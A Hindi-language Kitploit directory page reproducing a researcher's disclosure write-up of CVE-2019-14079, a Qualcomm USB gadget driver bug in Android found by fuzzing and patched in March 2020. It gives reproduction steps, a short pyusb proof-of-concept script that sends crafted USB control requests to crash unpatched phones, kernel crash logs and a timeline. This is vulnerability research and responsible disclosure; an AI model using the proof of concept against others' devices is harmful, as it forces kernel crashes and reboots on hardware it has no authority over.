Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-14079 — USB device fuzzing on Android Phone | Kitploit
उपकरण/GitHubGitHub/parallelbeings/cve-2019-14079
Android SecurityEmbedded Systems SecurityVulnerability AnalysisExploitationFuzzingHardware SecurityBinary Exploitation
GitHubparallelbeings/cve-2019-14079

CVE-2019-14079

USB device fuzzing on Android Phone

रिपॉजिटरी देखें
3734 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

एंड्रॉइड पर USB डिवाइस फ़ज़िंग (CVE-2019-14079)

यह ब्लॉग पोस्ट USB डिवाइस फ़ज़िंग का उपयोग करके मेरे एंड्रॉइड डिवाइस (MI A2 - स्टॉक एंड्रॉइड चलाता है) में मिले एक साधारण बग के बारे में है, जिसे Google द्वारा उच्च गंभीरता के रूप में चिह्नित किया गया था। बग क्वालकॉम USB ड्राइवर में था जिसे बाद में पैच किया गया और मार्च 2020 एंड्रॉइड बुलेटिन में खुलासा किया गया। कमजोरी के बारे में, जब आप एंड्रॉइड फोन पर एक क्राफ्टेड USB अनुरोध भेजते हैं तो यह एंड्रॉइड कर्नेल को क्रैश कर देता है और आपका फोन रीस्टार्ट हो जाता है।

यह बग USB गैजेट "core.c" में उपयोग किए गए एक अनइनिशियलाइज़्ड वेरिएबल के कारण हुआ था। कमजोरी के विवरण नीचे दिए गए क्वालकॉम सुरक्षा सलाहकार और एंड्रॉइड मार्च 2020 बुलेटिन में पाए जा सकते हैं।

https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin

तकनीकी अवलोकन

एंड्रॉइड फोन डिवाइस और होस्ट दोनों मोड का समर्थन करते हैं, डिवाइस मोड में आप USB केबल का उपयोग करके अपने मोबाइल को पीसी से कनेक्ट कर सकते हैं और विभिन्न USB कनेक्टिविटी मोड (जैसे केवल चार्जिंग, MTP) के साथ अपने फोन से पीसी पर छवियां, संगीत साझा कर सकते हैं। होस्ट मोड में आप OTG केबल का उपयोग करके हेडसेट, फ्लैश ड्राइव कनेक्ट कर सकते हैं जहां आपके डिवाइस क्लाइंट के रूप में कार्य करते हैं और आपका एंड्रॉइड फोन होस्ट के रूप में कार्य करता है।

यह कमजोरी केवल USB नियंत्रण मापदंडों जैसे bmRequestType, bRequest, wValue(bDescriptortype:DescriptorIndex), wIndex और wLength को रैंडमाइज़ करके और इसे एंड्रॉइड डिवाइस पर भेजकर पाई गई थी। लिनक्स होस्ट से एंड्रॉइड पर नियंत्रण अनुरोधों का एक क्रम भेजकर (जैसा कि नीचे स्क्रिप्ट में देखा गया है), फोन में USB डिवाइस ड्राइवर इसे पार्स करता है और कर्नेल पैनिक का कारण बनता है।

आप USB अवलोकन और फ़ज़िंग के बारे में समझने के लिए ऑफेंसिव-कॉन 2019 में एंड्रे कोनोवलोव द्वारा यह नीचे दिया गया वीडियो देख सकते हैं और साथ ही USB प्रोटोकॉल की मूल बातें: USB 101: यूनिवर्सल सीरियल बस 2.0 का परिचय।

https://www.youtube.com/watch?v=1MD5JV6LfxA

प्रभावित चिपसेट: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130

यदि आपने अपने फोन को एंड्रॉइड मार्च 2020 पैच के साथ अपडेट नहीं किया है तो इस कमजोरी को पुन: उत्पन्न करने के चरण।

  • अपने एंड्रॉइड मोबाइल को लिनक्स पीसी (उबंटू) से कनेक्ट करें।
  • सत्यापित करें कि आपके मोबाइल में कोई USB डीबगिंग सक्षम नहीं है।
  • डिवाइस सामान्य चार्जिंग मोड में कनेक्ट होना चाहिए।
  • उबंटू होस्ट में, एंड्रॉइड USB डिवाइस के रूप में कनेक्ट होता है और SDMxxx SN:xxxxxx के रूप में डिटेक्ट होता है।
  • अपने डिवाइस की पहचान करने के लिए अपने dmesg लॉग या lsusb की जाँच करें।
  • lsusb का उपयोग करके अपने डिवाइस के अनुसार VID और PID नोट करें और इसे नीचे दी गई स्क्रिप्ट में उपयोग करें।
  • अपने लिनक्स पीसी में pyusb इंस्टॉल के साथ नीचे दी गई पायथन स्क्रिप्ट चलाएँ। यदि आप देखते हैं कि आपका फोन रीस्टार्ट हो जाता है, तो आपने बग का शोषण किया है। आप रीस्टार्ट के बाद logcat या bugreport का उपयोग करके नीचे दिए गए संदेशों के लिए अपने कर्नेल लॉग की जाँच कर सकते हैं।

POC

root@kitploit:~
#!/usr/bin/env python3
import usb.core

dev = usb.core.find(idVendor=0x2717, idProduct=0xff40) 

send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000) 
print("Received: " + str(send))

क्रैश लॉग्स

root@kitploit:~
[  314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[  314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[  314.639060] Modules linked in: wlan(O)
[  314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G           O    4.4.153-perf+ #1
[  314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[  314.639100] Workqueue: dwc_wq dwc3_bh_work
[  314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[  314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[  314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[  314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[  314.639129] sp : ffffffc1f747fbd0
[  314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020 
[  314.639141] x27: ffffff95db082010 x26: 000000000000c040 
[  314.639148] x25: ffffffc174099020 x24: ffffff95db806000 
[  314.639156] x23: 0000000000000000 x22: ffffffc1f613da00 
[  314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00 
[  314.639172] x19: ffffffc174099070 x18: 0000000000000010 
[  314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634 
[  314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff 
[  314.639193] x13: 0000000000000008 x12: 0101010101010101 
[  314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe 
[  314.639208] x9 : ffffffffffffffff x8 : 0000000000808000 
[  314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852 
[  314.639222] x5 : 3a534656330100ff x4 : 0000000000000001 
[  314.639230] x3 : 000000000000000a x2 : 00000000ffffff98 
[  314.639237] x1 : dead000000000100 x0 : dead000000000200 

अगले कदम

इसके अलावा क्रैश लॉग क्रैश के पीछे का कारण नहीं बताते हैं। इसलिए मैं अपने नए पिक्सेल में बिल्ड में KASAN जोड़ने और फ़ज़िंग के दौरान क्रैश के लिए लॉग की निगरानी करने जैसी उचित इंस्ट्रूमेंटेशन तकनीकों के साथ अपने डिवाइस फ़ज़िंग में सुधार करने की योजना बना रहा हूं। साथ ही libusb बड़े नियंत्रण अनुरोधों को जारी करने की अनुमति नहीं देता है और अधिकांश समय यह ट्रिम हो जाता है। इसलिए मैं ioctl का उपयोग करके सीधे USB ड्राइवर को कमांड जारी करने के लिए केट टेमकिन के उदाहरण (fusee_gelee) के साथ प्रयास करने की योजना बना रहा हूं।

समयरेखा

  • यह मुद्दा अगस्त 2019 में एंड्रॉइड VRP को रिपोर्ट किया गया था।
  • क्वालकॉम ने इसे मार्च 2020 में पैच किया।

प्रेरणा और धन्यवाद

  • मेरे मेंटर (दुर्गा प्रसाद साहू - https://github.com/break2make)
  • USB डिवाइस फ़ज़िंग के लिए NCC
  • Nintendo Switch में उनके अच्छे USB बग के लिए @ktemkin
टूल डाउनलोड करें